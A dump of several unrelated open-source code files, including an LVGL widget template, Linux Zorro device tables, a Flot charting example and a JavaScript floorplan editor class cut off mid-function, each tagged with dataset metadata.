y = mu(1)*normcdf(alpha) + mu(2)*normcdf(-alpha) + tao*normpdf(alpha);
x = (lamda(1)^2 + sig2(1))*normcdf(alpha) + ...
(lamda(2)^2 + sig2(2))*normcdf(-alpha) + sum(lamda)*normpdf(alpha);
end
function [PopObj,MSE] = evaluate(Global,PopDec,model,centers)
% Predict the objective vector of the candidate solutions accodring to the
% Euclidean distance from each candidate solution to the evaluated
% solutions
D = pdist2(real(PopDec),real(centers));
[~,index] = min(D,[],2);
N = size(PopDec,1);
PopObj = zeros(N,Global.M);
MSE = zeros(N,Global.M);
for i = 1 : N
for j = 1 : Global.M
[PopObj(i,j),~,MSE(i,j)] = predictor(PopDec(i,:),model{index(i),j});
end
end
end | {
"pile_set_name": "Github"
} |
import UIKit
class TestBundle {
class func image(_ named: String) -> UIImage? {
let bundle = Bundle(for: self)
return UIImage(named: named,
in: bundle, compatibleWith: nil)
}
}
| {
"pile_set_name": "Github"
} |
/**
* @file lv_templ.c
*
*/
/* TODO Remove these instructions
* Search an replace: template -> object normal name with lower case (e.g. button, label etc.)
* templ -> object short name with lower case(e.g. btn, label etc)
* TEMPL -> object short name with upper case (e.g. BTN, LABEL etc.)
*
*/
/*********************
* INCLUDES
*********************/
//#include "lv_templ.h" /*TODO uncomment this*/
#if USE_LV_TEMPL != 0
/*********************
* DEFINES
*********************/
/**********************
* TYPEDEFS
**********************/
/**********************
* STATIC PROTOTYPES
**********************/
static bool lv_templ_design(lv_obj_t * templ, const lv_area_t * mask, lv_design_mode_t mode);
static lv_res_t lv_templ_signal(lv_obj_t * templ, lv_signal_t sign, void * param);
/**********************
* STATIC VARIABLES
**********************/
static lv_signal_func_t ancestor_signal;
static lv_design_func_t ancestor_design;
/**********************
* MACROS
**********************/
/**********************
* GLOBAL FUNCTIONS
**********************/
/**
* Create a template object
* @param par pointer to an object, it will be the parent of the new template
* @param copy pointer to a template object, if not NULL then the new object will be copied from it
* @return pointer to the created template
*/
lv_obj_t * lv_templ_create(lv_obj_t * par, const lv_obj_t * copy)
{
LV_LOG_TRACE("template create started");
/*Create the ancestor of template*/
/*TODO modify it to the ancestor create function */
lv_obj_t * new_templ = lv_ANCESTOR_create(par, copy);
lv_mem_assert(new_templ);
if(new_templ == NULL) return NULL;
/*Allocate the template type specific extended data*/
lv_templ_ext_t * ext = lv_obj_allocate_ext_attr(new_templ, sizeof(lv_templ_ext_t));
lv_mem_assert(ext);
if(ext == NULL) return NULL;
if(ancestor_signal == NULL) ancestor_signal = lv_obj_get_signal_func(new_templ);
if(ancestor_design == NULL) ancestor_design = lv_obj_get_design_func(new_templ);
/*Initialize the allocated 'ext' */
ext->xyz = 0;
/*The signal and design functions are not copied so set them here*/
lv_obj_set_signal_func(new_templ, lv_templ_signal);
lv_obj_set_design_func(new_templ, lv_templ_design);
/*Init the new template template*/
if(copy == NULL) {
}
/*Copy an existing template*/
else {
lv_templ_ext_t * copy_ext = lv_obj_get_ext_attr(copy);
/*Refresh the style with new signal function*/
lv_obj_refresh_style(new_templ);
}
LV_LOG_INFO("template created");
return new_templ;
}
/*======================
* Add/remove functions
*=====================*/
/*
* New object specific "add" or "remove" functions come here
*/
/*=====================
* Setter functions
*====================*/
/*
* New object specific "set" functions come here
*/
/**
* Set a style of a template.
* @param templ pointer to template object
* @param type which style should be set
* @param style pointer to a style
*/
void lv_templ_set_style(lv_obj_t * templ, lv_templ_style_t type, lv_style_t * style)
{
lv_templ_ext_t * ext = lv_obj_get_ext_attr(templ);
switch(type) {
case LV_TEMPL_STYLE_X:
break;
case LV_TEMPL_STYLE_Y:
break;
}
}
/*=====================
* Getter functions
*====================*/
/*
* New object specific "get" functions come here
*/
/**
* Get style of a template.
* @param templ pointer to template object
* @param type which style should be get
* @return style pointer to the style
*/
lv_style_t * lv_templ_get_style(const lv_obj_t * templ, lv_templ_style_t type)
{
lv_templ_ext_t * ext = lv_obj_get_ext_attr(templ);
switch(type) {
case LV_TEMPL_STYLE_X:
return NULL;
case LV_TEMPL_STYLE_Y:
return NULL;
default:
return NULL;
}
/*To avoid warning*/
return NULL;
}
/*=====================
* Other functions
*====================*/
/*
* New object specific "other" functions come here
*/
/**********************
* STATIC FUNCTIONS
**********************/
/**
* Handle the drawing related tasks of the templates
* @param templ pointer to an object
* @param mask the object will be drawn only in this area
* @param mode LV_DESIGN_COVER_CHK: only check if the object fully covers the 'mask_p' area
* (return 'true' if yes)
* LV_DESIGN_DRAW: draw the object (always return 'true')
* LV_DESIGN_DRAW_POST: drawing after every children are drawn
* @param return true/false, depends on 'mode'
*/
static bool lv_templ_design(lv_obj_t * templ, const lv_area_t * mask, lv_design_mode_t mode)
{
/*Return false if the object is not covers the mask_p area*/
if(mode == LV_DESIGN_COVER_CHK) {
return false;
}
/*Draw the object*/
else if(mode == LV_DESIGN_DRAW_MAIN) {
}
/*Post draw when the children are drawn*/
else if(mode == LV_DESIGN_DRAW_POST) {
}
return true;
}
/**
* Signal function of the template
* @param templ pointer to a template object
* @param sign a signal type from lv_signal_t enum
* @param param pointer to a signal specific variable
* @return LV_RES_OK: the object is not deleted in the function; LV_RES_INV: the object is deleted
*/
static lv_res_t lv_templ_signal(lv_obj_t * templ, lv_signal_t sign, void * param)
{
lv_res_t res;
/* Include the ancient signal function */
res = ancestor_signal(templ, sign, param);
if(res != LV_RES_OK) return res;
if(sign == LV_SIGNAL_CLEANUP) {
/*Nothing to cleanup. (No dynamically allocated memory in 'ext')*/
} else if(sign == LV_SIGNAL_GET_TYPE) {
lv_obj_type_t * buf = param;
uint8_t i;
for(i = 0; i < LV_MAX_ANCESTOR_NUM - 1; i++) { /*Find the last set data*/
if(buf->type[i] == NULL) break;
}
buf->type[i] = "lv_templ";
}
return res;
}
#endif
| {
"pile_set_name": "Github"
} |
/*
* Zorro Device Name Tables
*
* Copyright (C) 1999--2000 Geert Uytterhoeven
*
* Based on the PCI version:
*
* Copyright 1992--1999 Drew Eckhardt, Frederic Potter,
* David Mosberger-Tang, Martin Mares
*/
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/zorro.h>
#ifdef CONFIG_ZORRO_NAMES
struct zorro_prod_info {
__u16 prod;
unsigned short seen;
const char *name;
};
struct zorro_manuf_info {
__u16 manuf;
unsigned short nr;
const char *name;
struct zorro_prod_info *prods;
};
/*
* This is ridiculous, but we want the strings in
* the .init section so that they don't take up
* real memory.. Parse the same file multiple times
* to get all the info.
*/
#define MANUF( manuf, name ) static char __manufstr_##manuf[] __initdata = name;
#define ENDMANUF()
#define PRODUCT( manuf, prod, name ) static char __prodstr_##manuf##prod[] __initdata = name;
#include "devlist.h"
#define MANUF( manuf, name ) static struct zorro_prod_info __prods_##manuf[] __initdata = {
#define ENDMANUF() };
#define PRODUCT( manuf, prod, name ) { 0x##prod, 0, __prodstr_##manuf##prod },
#include "devlist.h"
static struct zorro_manuf_info __initdata zorro_manuf_list[] = {
#define MANUF( manuf, name ) { 0x##manuf, sizeof(__prods_##manuf) / sizeof(struct zorro_prod_info), __manufstr_##manuf, __prods_##manuf },
#define ENDMANUF()
#define PRODUCT( manuf, prod, name )
#include "devlist.h"
};
#define MANUFS (sizeof(zorro_manuf_list)/sizeof(struct zorro_manuf_info))
void __init zorro_name_device(struct zorro_dev *dev)
{
const struct zorro_manuf_info *manuf_p = zorro_manuf_list;
int i = MANUFS;
char *name = dev->name;
do {
if (manuf_p->manuf == ZORRO_MANUF(dev->id))
goto match_manuf;
manuf_p++;
} while (--i);
/* Couldn't find either the manufacturer nor the product */
sprintf(name, "Zorro device %08x", dev->id);
return;
match_manuf: {
struct zorro_prod_info *prod_p = manuf_p->prods;
int i = manuf_p->nr;
while (i > 0) {
if (prod_p->prod ==
((ZORRO_PROD(dev->id)<<8) | ZORRO_EPC(dev->id)))
goto match_prod;
prod_p++;
i--;
}
/* Ok, found the manufacturer, but unknown product */
sprintf(name, "Zorro device %08x (%s)", dev->id, manuf_p->name);
return;
/* Full match */
match_prod: {
char *n = name + sprintf(name, "%s %s", manuf_p->name, prod_p->name);
int nr = prod_p->seen + 1;
prod_p->seen = nr;
if (nr > 1)
sprintf(n, " (#%d)", nr);
}
}
}
#else
void __init zorro_name_device(struct zorro_dev *dev)
{
}
#endif
| {
"pile_set_name": "Github"
} |
#ifndef __USB_CDC_H__
#define __USB_CDC_H__
//-----------------------------------------------------------------
// Defines:
//-----------------------------------------------------------------
#define CDC_ENDPOINT_BULK_OUT 1
#define CDC_ENDPOINT_BULK_IN 2
#define CDC_ENDPOINT_INTR_IN 3
#define CDC_SEND_ENCAPSULATED_COMMAND 0x00
#define CDC_GET_ENCAPSULATED_RESPONSE 0x01
#define CDC_GET_LINE_CODING 0x21
#define CDC_SET_LINE_CODING 0x20
#define CDC_SET_CONTROL_LINE_STATE 0x22
#define CDC_SEND_BREAK 0x23
//-----------------------------------------------------------------
// Prototypes:
//-----------------------------------------------------------------
#ifdef __cplusplus
extern "C" {
#endif
void usb_cdc_init( void );
void usb_cdc_process_request(unsigned char req, unsigned short wValue, unsigned short WIndex, unsigned char *data, unsigned short wLength);
#ifdef __cplusplus
}
#endif
#endif
| {
"pile_set_name": "Github"
} |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
var ExternalsPlugin = require("../ExternalsPlugin");
function NodeTargetPlugin() {}
module.exports = NodeTargetPlugin;
NodeTargetPlugin.prototype.apply = function(compiler) {
new ExternalsPlugin("commonjs", Object.keys(process.binding("natives"))).apply(compiler);
};
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Flot Examples: Stacking</title>
<link href="../examples.css" rel="stylesheet" type="text/css">
<!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../../excanvas.min.js"></script><![endif]-->
<script language="javascript" type="text/javascript" src="../../jquery.js"></script>
<script language="javascript" type="text/javascript" src="../../jquery.flot.js"></script>
<script language="javascript" type="text/javascript" src="../../jquery.flot.stack.js"></script>
<script type="text/javascript">
$(function() {
var d1 = [];
for (var i = 0; i <= 10; i += 1) {
d1.push([i, parseInt(Math.random() * 30)]);
}
var d2 = [];
for (var i = 0; i <= 10; i += 1) {
d2.push([i, parseInt(Math.random() * 30)]);
}
var d3 = [];
for (var i = 0; i <= 10; i += 1) {
d3.push([i, parseInt(Math.random() * 30)]);
}
var stack = 0,
bars = true,
lines = false,
steps = false;
function plotWithOptions() {
$.plot("#placeholder", [ d1, d2, d3 ], {
series: {
stack: stack,
lines: {
show: lines,
fill: true,
steps: steps
},
bars: {
show: bars,
barWidth: 0.6
}
}
});
}
plotWithOptions();
$(".stackControls button").click(function (e) {
e.preventDefault();
stack = $(this).text() == "With stacking" ? true : null;
plotWithOptions();
});
$(".graphControls button").click(function (e) {
e.preventDefault();
bars = $(this).text().indexOf("Bars") != -1;
lines = $(this).text().indexOf("Lines") != -1;
steps = $(this).text().indexOf("steps") != -1;
plotWithOptions();
});
// Add the Flot version string to the footer
$("#footer").prepend("Flot " + $.plot.version + " – ");
});
</script>
</head>
<body>
<div id="header">
<h2>Stacking</h2>
</div>
<div id="content">
<div class="demo-container">
<div id="placeholder" class="demo-placeholder"></div>
</div>
<p>With the stack plugin, you can have Flot stack the series. This is useful if you wish to display both a total and the constituents it is made of. The only requirement is that you provide the input sorted on x.</p>
<p class="stackControls">
<button>With stacking</button>
<button>Without stacking</button>
</p>
<p class="graphControls">
<button>Bars</button>
<button>Lines</button>
<button>Lines with steps</button>
</p>
</div>
<div id="footer">
Copyright © 2007 - 2014 IOLA and Ole Laursen
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
import { EVENT_UPDATED, EVENT_LOADED, EVENT_NEW, EVENT_DELETED, EVENT_ROOM_NAME_CHANGED, EVENT_MODE_RESET } from '../core/events.js';
import { EVENT_CORNER_ATTRIBUTES_CHANGED, EVENT_WALL_ATTRIBUTES_CHANGED, EVENT_ROOM_ATTRIBUTES_CHANGED, EVENT_MOVED, EVENT_NEW_ROOMS_ADDED } from '../core/events.js';
import { EventDispatcher, Vector2, Vector3, Matrix4 } from 'three';
import { Utils } from '../core/utils.js';
import { Dimensioning } from '../core/dimensioning.js';
import { dimInch, dimFeetAndInch, dimMeter, dimCentiMeter, dimMilliMeter, defaultWallTexture, defaultFloorTexture } from '../core/constants.js';
import { WallTypes } from '../core/constants.js';
import { Version } from '../core/version.js';
import { cornerTolerance, Configuration, configDimUnit } from '../core/configuration.js';
import { HalfEdge } from './half_edge.js';
import { Corner } from './corner.js';
import { Wall } from './wall.js';
import { Room } from './room.js';
import { CornerGroups } from './cornergroups.js';
/** */
export const defaultFloorPlanTolerance = 10.0;
/**
* A Floorplan represents a number of Walls, Corners and Rooms. This is an
* abstract that keeps the 2d and 3d in sync
*/
export class Floorplan extends EventDispatcher {
/** Constructs a floorplan. */
constructor() {
super();
/**
* List of elements of Wall instance
*
* @property {Wall[]} walls Array of walls
* @type {Wall[]}
*/
this.walls = [];
/**
* List of elements of Corner instance
*
* @property {Corner[]} corners array of corners
* @type {Corner[]}
*/
this.corners = [];
/**
* List of elements of Room instance
*
* @property {Room[]} walls Array of walls
* @type {Room[]}
*/
this.rooms = [];
this.__roofPlanesForIntersection = [];
this.__floorPlanesForIntersection = [];
this.__wallPlanesForIntersection = [];
/**
* An {@link Object} that stores the metadata of rooms like name
*
* @property {Object} metaroomsdata stores the metadata of rooms like
* name
* @type {Object}
*/
this.metaroomsdata = {};
// List with reference to callback on a new wall insert event
/**
* @deprecated
*/
this.new_wall_callbacks = [];
// List with reference to callbacks on a new corner insert event
/**
* @deprecated
*/
this.new_corner_callbacks = [];
// List with reference to callbacks on redraw event
/**
* @deprecated
*/
this.redraw_callbacks = [];
// List with reference to callbacks for updated_rooms event
/**
* @deprecated
*/
this.updated_rooms = [];
// List with reference to callbacks for roomLoaded event
/**
* @deprecated
*/
this.roomLoadedCallbacks = [];
this.floorTextures = {};
/**
* The {@link CarbonSheet} that handles the background image to show in
* the 2D view
*
* @property {CarbonSheet} _carbonSheet The carbonsheet instance
* @type {Object}
*/
this._carbonSheet = null;
/**
* This is necessary to sometimes explicitly stop the floorplan from doing
* heavy computations
*/
this.__updatesOn = true;
this.__cornerGroups = new CornerGroups(this);
this.__wallAttributesChangedEvent = this.__wallAttributesChanged.bind(this);
this.__wallDeletedEvent = this.__wallDeleted.bind(this);
this.__cornerAttributesChangedOrMovedEvent = this.__cornerAttributesChangedOrMoved.bind(this);
this.__cornerDeletedEvent = this.__cornerDeleted.bind(this);
}
/**
* @return {HalfEdge[]} edges The array of {@link HalfEdge}
*/
wallEdges() {
var edges = [];
this.walls.forEach((wall) => {
if (wall.frontEdge) {
edges.push(wall.frontEdge);
}
if (wall.backEdge) {
edges.push(wall.backEdge);
}
});
return edges;
}
__wallDeleted(evt) {
let wall = evt.item;
wall.removeEventListener(EVENT_DELETED, this.__wallDeletedEvent);
wall.removeEventListener(EVENT_WALL_ATTRIBUTES_CHANGED, this.__wallAttributesChangedEvent);
this.removeWall(wall);
}
__wallAttributesChanged(evt) {
this.dispatchEvent(evt);
}
__cornerDeleted(evt) {
let corner = evt.item;
corner.removeEventListener(EVENT_DELETED, this.__cornerDeletedEvent);
corner.removeEventListener(EVENT_CORNER_ATTRIBUTES_CHANGED, this.__cornerAttributesChangedOrMovedEvent);
corner.removeEventListener(EVENT_MOVED, this.__cornerAttributesChangedOrMovedEvent);
this.removeCorner(corner);
this.update();
this.dispatchEvent({ type: EVENT_DELETED, item: this });
}
__cornerAttributesChangedOrMoved(evt) {
this.dispatchEvent(evt);
let updateCorners = evt.item.adjacentCorners();
updateCorners.push(evt.item);
this.update(false, updateCorners);
}
/**
* Returns the roof planes in the floorplan for intersection testing
*
* @return {Mesh[]} planes
* @see <https://threejs.org/docs/#api/en/objects/Mesh>
*/
createRoofPlanes() {
var planes = [];
this.rooms.forEach((room) => {
planes.push(room.roofPlane);
});
return planes;
}
/**
* Returns all the planes for intersection of the floors in all room
*
* @return {Mesh[]} planes
* @see <https://threejs.org/docs/#api/en/objects/Mesh>
*/
createFloorPlanes() {
return Utils.map(this.rooms, (room) => {
return room.floorPlane;
});
}
/**
* Returns all the planes for intersection for the walls
*
* @return {Mesh[]} planes
* @see <https://threejs.org/docs/#api/en/objects/Mesh>
*/
createWallEdgePlanes() {
var planes = [];
this.walls.forEach((wall) => {
if (wall.frontEdge) {
planes.push(wall.frontEdge.plane);
}
if (wall.backEdge) {
planes.push(wall.backEdge.plane);
}
});
return planes;
}
fireOnNewWall(callback) {
this.new_wall_callbacks.add(callback);
}
fireOnNewCorner(callback) {
this.new_corner_callbacks.add(callback);
}
fireOnRedraw(callback) {
this.redraw_callbacks.add(callback);
}
fireOnUpdatedRooms(callback) {
this.updated_rooms.add(callback);
}
// This method needs to be called from the 2d floorplan whenever
// the other method newWall is called.
// This is to ensure that there are no floating walls going across
// other walls. If two walls are intersecting then the intersection point
// has to create a new wall.
/**
* Checks existing walls for any intersections they would make. If there are
* intersections then introduce new corners and new walls as required at
* places
*
* @param {Corner}
* start
* @param {Corner}
* end
* @return {boolean} intersects
*/
newWallsForIntersections(start, end) {
var intersections = false;
// This is a bug in the logic
// When creating a new wall with a start and end
// it needs to be checked if it is cutting other walls
// If it cuts then all those walls have to removed and introduced as
// new walls along with this new wall
var cStart = new Vector2(start.getX(), start.getY());
var cEnd = new Vector2(end.getX(), end.getY());
var line = { p1: cStart, p2: cEnd };
var newCorners = [];
for (var i = 0; i < this.walls.length; i++) {
var twall = this.walls[i];
var bstart = { x: twall.getStartX(), y: twall.getStartY() };
var bend = { x: twall.getEndX(), y: twall.getEndY() };
var iPoint;
if (twall.wallType == WallTypes.CURVED) {
iPoint = twall.bezier.intersects(line);
if (iPoint.length) {
iPoint = twall.bezier.get(iPoint[0]);
}
} else {
iPoint = Utils.lineLineIntersectPoint(cStart, cEnd, bstart, bend);
}
if (iPoint) {
var nCorner = this.newCorner(iPoint.x, iPoint.y);
newCorners.push(nCorner);
nCorner.mergeWithIntersected(false);
intersections = true;
}
}
this.update();
return intersections;
}
/**
* Creates a new wall.
*
* @param {Corner}
* start The start corner.
* @param {Corner}
* end The end corner.
* @returns {Wall} The new wall.
*/
newWall(start, end, a, b) {
var scope = this;
var wall = new Wall(start, end, a, b);
this.walls.push(wall);
// wall.addEventListener(EVENT_DELETED, function(o) { scope.removeWall(o.item); });
// wall.addEventListener(EVENT_WALL_ATTRIBUTES_CHANGED, function(o) {
// scope.dispatchEvent(o);
// });
wall.addEventListener(EVENT_DELETED, this.__wallDeletedEvent);
wall.addEventListener(EVENT_WALL_ATTRIBUTES_CHANGED, this.__wallAttributesChangedEvent);
this.dispatchEvent({ type: EVENT_NEW, item: this, newItem: wall });
this.update();
return wall;
}
/**
* Creates a new corner.
*
* @param {Number}
* x The x coordinate.
* @param {Number}
* y The y coordinate.
* @param {String}
* id An optional id. If unspecified, the id will be created
* internally.
* @returns {Corner} The new corner.
*/
newCorner(x, y, id) {
var scope = this;
var corner = new Corner(this, x, y, id);
for (var i = 0; i < this.corners.length; i++) {
var existingCorner = this.corners[i];
if (existingCorner.distanceFromCorner(corner) < cornerTolerance) {
this.dispatchEvent({ type: EVENT_NEW, item: this, newItem: existingCorner });
return existingCorner;
}
}
this.corners.push(corner);
corner.addEventListener(EVENT_DELETED, this.__cornerDeletedEvent);
corner.addEventListener(EVENT_CORNER_ATTRIBUTES_CHANGED, this.__cornerAttributesChangedOrMovedEvent);
corner.addEventListener(EVENT_MOVED, this.__cornerAttributesChangedOrMovedEvent);
this.dispatchEvent({ type: EVENT_NEW, item: this, newItem: corner });
// This code has been added by #0K. There should be an update whenever a
// new corner is inserted
this.update();
return corner;
}
/**
* Removes a wall.
*
* @param {Wall}
* wall The wall to be removed.
*/
removeWall(wall) {
Utils.removeValue(this.walls, wall);
this.update();
this.dispatchEvent({ type: EVENT_DELETED, item: this, deleted: wall, item_type: 'wall' });
}
/**
* Removes a corner.
*
* @param {Corner}
* corner The corner to be removed.
*/
removeCorner(corner) {
Utils.removeValue(this.corners, corner);
this.update();
this.dispatchEvent({ type: EVENT_DELETED, item: this, deleted: corner, item_type: 'corner' });
}
/**
* Gets the walls.
*
* @return {Wall[]}
*/
getWalls() {
return this.walls;
}
/**
* Gets the corners.
*
* @return {Corner[]}
*/
getCorners() {
return this.corners;
}
/**
* Gets the rooms.
*
* @return {Room[]}
*/
getRooms() {
return this.rooms;
}
/**
* Gets the room overlapping the location x, y.
*
* @param {Number}
* mx
* @param {Number}
* my
* @return {Room}
*/
overlappedRoom(mx, my) {
for (var i = 0; i < this.rooms.length; i++) {
var room = this.rooms[i];
var flag = room.pointInRoom(new Vector2(mx, my));
if (flag) {
return room;
}
}
return null;
}
/**
* Gets the Control of a Curved Wall overlapping the location x, y at a
* tolerance.
*
* @param {Number}
* x
* @param {Number}
* y
* @param {Number}
* tolerance
* @return {Corner}
*/
overlappedControlPoint(wall, x, y, tolerance) {
tolerance = tolerance || defaultFloorPlanTolerance * 5;
if (wall.a.distanceTo(new Vector2(x, y)) < tolerance && wall.wallType == WallTypes.CURVED) {
return wall.a;
} else if (wall.b.distanceTo(new Vector2(x, y)) < tolerance && wall.wallType == WallTypes.CURVED) {
return wall.b;
}
return null;
}
/**
* Gets the Corner overlapping the location x, y at a tolerance.
*
* @param {Number}
* x
* @param {Number}
* y
* @param {Number}
* tolerance
* @return {Corner}
*/
overlappedCorner(x, y, tolerance) {
tolerance = tolerance || defaultFloorPlanTolerance;
for (var i = 0; i < this.corners.length; i++) {
if (this.corners[i].distanceFrom(new Vector2(x, y)) < tolerance) {
return this.corners[i];
}
}
return null;
}
/**
* Gets the Wall overlapping the location x, y at a tolerance.
*
* @param {Number}
* x
* @param {Number}
* y
* @param {Number}
* tolerance
* @return {Wall}
*/
overlappedWall(x, y, tolerance) {
tolerance = tolerance || defaultFloorPlanTolerance;
for (var i = 0; i < this.walls.length; i++) {
var newtolerance = tolerance; // (tolerance+
// ((this.walls[i].wallType ==
// WallTypes.CURVED)*tolerance*10));
if (this.walls[i].distanceFrom(new Vector2(x, y)) < newtolerance) {
return this.walls[i];
}
}
return null;
}
/**
* The metadata object with information about the rooms.
*
* @return {Object} metaroomdata an object with room corner ids as key and
* names as values
*/
getMetaRoomData() {
var metaRoomData = {};
this.rooms.forEach((room) => {
var metaroom = {};
// var cornerids = [];
// room.corners.forEach((corner)=>{
// cornerids.push(corner.id);
// });
// var ids = cornerids.join(',');
var ids = room.roomByCornersId;
metaroom['name'] = room.name;
metaRoomData[ids] = metaroom;
});
return metaRoomData;
}
// Save the floorplan as a json object file
/**
* @return {void}
*/
saveFloorplan() {
var floorplans = { version: Version.getTechnicalVersion(), corners: {}, walls: [], rooms: {}, wallTextures: [], floorTextures: {}, newFloorTextures: {}, carbonSheet: {} };
var cornerIds = [];
// writing all the corners based on the corners array
// is having a bug. This is because some walls have corners
// that aren't part of the corners array anymore. This is a quick fix
// by adding the corners to the json file based on the corners in the walls
// this.corners.forEach((corner) => {
// floorplans.corners[corner.id] = {'x': corner.x,'y': corner.y};
// });
this.walls.forEach((wall) => {
if (wall.getStart() && wall.getEnd()) {
floorplans.walls.push({
'corner1': wall.getStart().id,
'corner2': wall.getEnd().id,
'frontTexture': wall.frontTexture,
'backTexture': wall.backTexture,
'wallType': wall.wallType.description,
'a': { x: wall.a.x, y: wall.a.y },
'b': { x: wall.b.x, y: wall.b.y },
'thickness': Dimensioning.cmToMeasureRaw(wall.thickness),
});
cornerIds.push(wall.getStart());
cornerIds.push(wall.getEnd());
}
});
cornerIds.forEach((corner) => {
floorplans.corners[corner.id] = { 'x': Dimensioning.cmToMeasureRaw(corner.x), 'y': Dimensioning.cmToMeasureRaw(corner.y), 'elevation': Dimensioning.cmToMeasureRaw(corner.elevation) };
});
// this.rooms.forEach((room)=>{
// var metaroom = {};
// var cornerids = [];
// room.corners.forEach((corner)=>{
// cornerids.push(corner.id);
// });
// var ids = cornerids.join(',');
// metaroom['name'] = room.name;
// floorplans.rooms[ids] = metaroom;
// });
floorplans.rooms = this.metaroomsdata;
if (this.carbonSheet) {
floorplans.carbonSheet['url'] = this.carbonSheet.url;
floorplans.carbonSheet['transparency'] = this.carbonSheet.transparency;
floorplans.carbonSheet['x'] = this.carbonSheet.x;
floorplans.carbonSheet['y'] = this.carbonSheet.y;
floorplans.carbonSheet['anchorX'] = this.carbonSheet.anchorX;
floorplans.carbonSheet['anchorY'] = this.carbonSheet.anchorY;
floorplans.carbonSheet['width'] = this.carbonSheet.width;
floorplans.carbonSheet['height'] = this.carbonSheet.height;
}
floorplans.units = Configuration.getStringValue(configDimUnit);
floorplans.newFloorTextures = this.floorTextures;
return floorplans;
}
// Load the floorplan from a previously saved json object file
/**
* @param {JSON}
* floorplan
* @return {void}
* @emits {EVENT_LOADED}
*/
loadFloorplan(floorplan) {
this.reset();
this.__updatesOn = false;
var corners = {};
if (floorplan == null || !('corners' in floorplan) || !('walls' in floorplan)) {
return;
}
let currentUnit = Configuration.getStringValue(configDimUnit);
if (floorplan.units) {
switch (floorplan.units) {
case dimInch:
Configuration.setValue(configDimUnit, dimInch);
break;
case dimFeetAndInch:
Configuration.setValue(configDimUnit, dimFeetAndInch);
break;
case dimMeter:
Configuration.setValue(configDimUnit, dimMeter);
break;
case dimCentiMeter:
Configuration.setValue(configDimUnit, dimCentiMeter);
break;
case dimMilliMeter:
Configuration.setValue(configDimUnit, dimMilliMeter);
break;
}
}
for (var id in floorplan.corners) {
var corner = floorplan.corners[id];
corners[id] = this.newCorner(Dimensioning.cmFromMeasureRaw(corner.x), Dimensioning.cmFromMeasureRaw(corner.y), id);
if (corner.elevation) {
corners[id].elevation = Dimensioning.cmFromMeasureRaw(corner.elevation);
}
}
var scope = this;
floorplan.walls.forEach((wall) => {
var newWall = scope.newWall(corners[wall.corner1], corners[wall.corner2]);
if (wall.frontTexture) {
if (wall.frontTexture.colormap) {
newWall.frontTexture = wall.frontTexture;
} else {
newWall.frontTexture = defaultWallTexture;
}
}
if (wall.backTexture) {
if (wall.backTexture.colormap) {
newWall.backTexture = wall.backTexture;
} else {
newWall.backTexture = defaultWallTexture;
}
}
if (wall.thickness) {
newWall.thickness = Dimensioning.cmFromMeasureRaw(wall.thickness);
}
// Adding of a, b, wallType (straight, curved) for walls happened
// with introduction of 0.0.2a
if (Version.isVersionHigherThan(floorplan.version, '0.0.2a')) {
newWall.a = wall.a;
newWall.b = wall.b;
if (wall.wallType == 'CURVED') {
newWall.wallType = WallTypes.CURVED;
} else {
newWall.wallType = WallTypes.STRAIGHT;
}
}
});
if ('newFloorTextures' in floorplan) {
this.floorTextures = floorplan.newFloorTextures;
}
this.__updatesOn = true;
this.metaroomsdata = floorplan.rooms;
this.update();
Configuration.setValue(configDimUnit, currentUnit);
this.dispatchEvent({ type: EVENT_LOADED, item: this });
// this.roomLoadedCallbacks.fire();
}
/**
* @deprecated
*/
getFloorTexture(uuid) {
if (uuid in this.floorTextures) {
let floorTexture = this.floorTextures[uuid];
if (floorTexture.colormap) {
return floorTexture;
}
}
return null;
}
/**
* @deprecated
*/
setFloorTexture(uuid, texturePack) {
this.floorTextures[uuid] = texturePack;
}
/** clear out obsolete floor textures */
/**
* @deprecated
*/
updateFloorTextures() {
var uuids = Utils.map(this.rooms, function(room) { return room.getUuid(); });
for (var uuid in this.floorTextures) {
if (!Utils.hasValue(uuids, uuid)) {
delete this.floorTextures[uuid];
}
}
}
/**
* Resets the floorplan data to empty
*
* @return {void}
*/
reset() {
var tmpCorners = this.corners.slice(0);
var tmpWalls = this.walls.slice(0);
tmpCorners.forEach((corner) => {
corner.remove();
});
tmpWalls.forEach((wall) => {
wall.remove();
});
this.corners = [];
this.walls = [];
this.dispatchEvent({ type: EVENT_MODE_RESET });
}
/**
* @param {Object}
* event
* @listens {EVENT_ROOM_NAME_CHANGED} When a room name is changed and
* updates to metaroomdata
*/
roomNameChanged(e) {
if (this.metaroomsdata) {
this.metaroomsdata[e.item.roomByCornersId] = e.newname;
}
}
/**
* Returns the center of the floorplan in the y plane
*
* @return {Vector2} center
* @see https://threejs.org/docs/#api/en/math/Vector2
*/
getCenter() {
return this.getDimensions(true);
}
/**
* Returns the bounding volume of the full floorplan
*
* @return {Vector3} size
* @see https://threejs.org/docs/#api/en/math/Vector3
*/
getSize() {
return this.getDimensions(false);
}
getSize3() {
let size2D = this.getDimensions();
let size3D = new Vector3(size2D.x, size2D.z, -Number.MAX_VALUE);
for (let i = 0; i < this.corners.length; i++) {
let corner = this.corners[i];
size3D.z = Math.max(size3D.z, corner.elevation);
}
return size3D;
}
setSize(newSize) {
let i = 0;
let m = new Matrix4();
let currentSize = this.getSize3();
let scale = newSize.clone().divide(currentSize);
m.scale(scale);
for (; i < this.corners.length; i++) {
let corner = this.corners[i];
let vector = new Vector3(corner.location.x, corner.location.y, corner.elevation);
vector = vector.applyMatrix4(m);
corner.elevation = vector.z;
corner.move(vector.x, vector.y);
}
}
/**
* Returns the bounding size or the center location of the full floorplan
*
* @param {boolean}
* center If true return the center else the size
* @return {Vector3} size
* @see https://threejs.org/docs/#api/en/math/Vector3
*/
getDimensions(center) {
center = center || false; // otherwise, get size
var xMin = Infinity;
var xMax = -Infinity;
var zMin = Infinity;
var zMax = -Infinity;
this.corners.forEach((corner) => {
if (corner.x < xMin) xMin = corner.x;
if (corner.x > xMax) xMax = corner.x;
if (corner.y < zMin) zMin = corner.y;
if (corner.y > zMax) zMax = corner.y;
});
var ret;
if (xMin == Infinity || xMax == -Infinity || zMin == Infinity || zMax == -Infinity) {
